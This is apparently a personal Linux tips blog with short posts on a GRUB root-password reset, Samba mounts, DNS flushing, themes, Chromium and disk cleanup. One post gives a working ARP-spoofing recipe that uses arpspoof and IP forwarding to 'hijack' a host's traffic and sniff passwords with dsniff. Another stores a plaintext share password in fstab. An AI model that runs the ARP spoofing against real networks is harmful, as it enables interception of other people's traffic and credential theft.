Oct 11

So, you’ve forgotten your root or admin password to your Ubuntu pc and you need to reset the password.  If that is the case, then just follow the steps below and you will be reseting your password in just a matter of minutes:

1.) When you turn on your Ubuntu pc, and it starts to boot, press ESC to access the GRUB boot menu.
2.) Once the GRUB boot menu is showing, Highlight the first option and press E to edit the selection.  The selection should look something like this:  Ubunut 9.04, kernel 2.6.28-18-generic.  It will depend on what version of Ubuntu you are using…
3.) Scroll down and highlight the line that looks like this:  kernel /boot/vmlinuz-2.6….. and press E to edit.
4.) Change ro quiet splash to rw init=/bin/bash.  Then press ENTER.
5.) Now you should be able to press B to boot up your system into a root shell prompt.
7.) Once you have booted to your root shell prompt, just type passwd root or passwd admin or whatever username you need to change the password for.
8.) You will then want to type the following commands:

reboot -f

That’s it, your password is now reset.

May 23

This step-by-step tutorial will show you how to mount a Windows Share on most versions of Linux. We will be using the following information below for the examples in this tutorial:
IP Address of Windows/Samba Server:
Windows/Samba Share Name: swap
Linux Directory where Windows/Samba Share will be mounted: /mnt/swap
Local Linux Username: crazyedy
Windows/Samba Domain User: Administrator
Windows/Samba Domain User’s Password: t@rg3t
Windwos/Samba Domain: crazyedy.com

Just follow the steps below:

RHEL 5 & 6/Ubuntu 7.04, 7.10, 8.04, 8.10, 9.04, 9.10, 10.04, 10.10, 11.04/Fedora Core 10, 11, 12, 13, 14:

1.) Type the following commands into “Terminal“:
su -
mkdir /mnt/swap
vi /etc/fstab

2.) Once you have opened the file in a terminal using vi, type the following:
shift + g #NOTE: This vi command takes you to the last line of the /etc/fstab file.
o #NOTE: This vi command adds a new line after the last line in the /etc/fstab file.
// /mnt/swap cifs uid=crazyedy,username=Administrator,password=t@rg3t,domain=crazyedy.com 0 0
Press [esc] #NOTE: This vi command takes you out of insert mode.
:wq! #NOTE: This vi command saves the file for you with your changes.


3.) Reboot your Linux box and log back in.

4.) You should now be able to browse to your windows share from your linux box.

###VERY IMPORTANT### When you are using this method to mount a Windows/Samba Share to a Linux box, you can only mount the Official Windows Share Name. For example, if you have a windows share named // but you have directories underneath that share name that you would like to mount, you can only mount //, otherwise it won’t mount up for you and it will give an error in the logs. ex.) In the example used in this tutorial, if I had tried to mount //, it would have given me an error because the share name is // One more important thing to note is that a share in Windows would be in the following format \\\swap, but if you are connecting to a Windows share from Linux or Mac, it would be in the following format: // IMPORTANT###

###DISCLAIMER: I have tested this procedure with the OS’s listed above only. I have done this several times and I have never run into any problems. However, if you use this tutorial, you are using it at your own risk. ###DISCLAIMER###

Mar 14

This tutorial will show you how to easily install the flash plugin for Ubuntu 10.10, 10.04, 9.10, and 9.04:

1.) Open up a command line “Terminal” and type in the following commands:

sudo add-apt-repository ppa:sevenmachines/flash;sudo apt-get update;sudo apt-get install flashplugin-installer

2.) Press return.

3.) After the commands finish running, you should have the latest version of flash running on your Ubuntu box.

Tagged with:
Dec 20

So, you have probably already changed your dns entry but you probably still have some Windows, Mac, or Linux boxes that are still resolving to an old dns entry. It’s no problem at all to update your boxes dns cache. The only thing that you need to do is to FLUSH your DNS CACHE. Just follow the steps below for your OS:

1.) Flush your dns cache for Windows:
a.) Simply go to “Start” -> “Run” -> “cmd” or “command” and type “ipconfig /flushdns“.
2.) Flush your dns cache for Mac:
a.) Click on your desktop with the mouse and you will open up the “Finder” menu. Then go to “Go” -> “Utilities” -> “Terminal” and type the following:
I.) For Snow Leopard and Leopard: “sudo dscacheutil -flushcache
II.) For Tiger: “lookupd -flushcache
3.) Flush your dns cache for Linux:
a.) Open up a command terminal or console and type “/etc/rc.d/init.d/nscd restart” as the root user or using sudo(if you have sudo setup for your user).

Oct 08

example:  router=  box to hijack=

Step 1:  echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2:  arpspoof -i eth0 -t & >/dev/null

Step 3:  arpspoof -i eth0 -t & >/dev/null

Now you have hijacked all network traffic in and out from and then you are redirecting it to the router

You can now use tools like dsniff and others to sniff all of the traffic for passwords and etc….  If you are using ubuntu the only tools required are arpspoof.  You can install it using the following command:

sudo apt-get install dsniff ### This will install arpspoof for you on any version of ubuntu.

Sep 04

So, you want to make your Ubuntu installation look like a mac.  I’ve got just what you need.  Download Mac4Lin Themes to your home directory and run the following command from a terminal:

gunzip < Mac4Lin_v1.0.tar.gz | tar xvf -

This will unzip and untar the file now run the following commands to install the mac os x theme:

cd Mac4Lin_Install_v1.0/

sh Mac4Lin_Install_v1.0.sh

This will cd to the Mac4Lin Install directory and the second command will install the mac os x theme.  Congratulations, you’ve just got your linux box looking just like a mac.

Sep 03

So, you like the dock that Mac OS X has and you want one for your ubuntu installation.  You’ve come to the right place…..This one is simple.  All you need to do is open up a command line terminal in ubuntu.   To open up a command line terminal, just go to Applications -> Accessories -> Terminal.  At the command prompt type the following command:

sudo apt-get install avant-window-navigator

After you install the dock in order to get it running all you need to do is just go to Applications -> Accessories -> Avant Window Navigator.  That’s it..Now you have a Mac OS X like dock in Ubuntu.  I hope you enjoy.

Sep 02

So, you want to write a unix script that accepts incoming data as argments into a unix/linux shell script.  You’ve come to the right place.  just follow the step by step instructions below on how to put incoming arguments into your scripts:

Step 1:

Write a unix shell script to pass an argument that will look for a process, with the name of the process being your argument.


###SCRIPT NAME:  chkps.sh ###


argument1=$1  ###This is your incoming argument.

ps -ef | grep $argument1  ###This is your command using the argument.


Step 2:

Using the script that you just wrote.  From a command line you would need to do the following:

chkps.sh something

This script will now search for the process something.

Aug 20

sudo gedit /etc/apt/sources.list
Add these two Lines:
deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntujaunty main
deb-src http://ppa.launchpad.net/chromium-daily/ppa/ubuntujaunty main
btw replace jaunty with intrepid if your still using that.

Now add the GPG Key:
sudo apt-key adv –recv-keys –keyserver keyserver.ubuntu.com 5a9bf3bb4e5e17b5

sudo apt-get update ; sudo apt-get install chromium-browser

Now once installed Go to Applications->Internet->Chromium Browser and right click it, add to Desktop
Right click the new chromium icon and go into properties and add the following where it says command:
chromium-browser %U –enable-plugins

Note: You’ll of course need flash installed for firefox first, to install that:
sudo apt-get install flashplugin-installer

Now lets install flash before we launch this baby:
sudo cp /usr/lib/firefox/plugins/flashplugin-alternative.so /usr/lib/chromium-browser/plugins/flashplugin.so

Now click the newly made icon and head over to Youtube or Hulu

Aug 10

Need to clean up disk space in Ubuntu? Try the following commands from a gnome terminal:

sudo apt-get autoremove – This command removes any unused dependencies from the Ubuntu system.

sudo apt-get clean – This command removes all cached package files.i

These commands won’t hurt your system. On a system that’s been updated a couple of times, you can free-up as much as a gigabyte using these commands.  You can do a before and after using the following command:

df -k

preload preload preload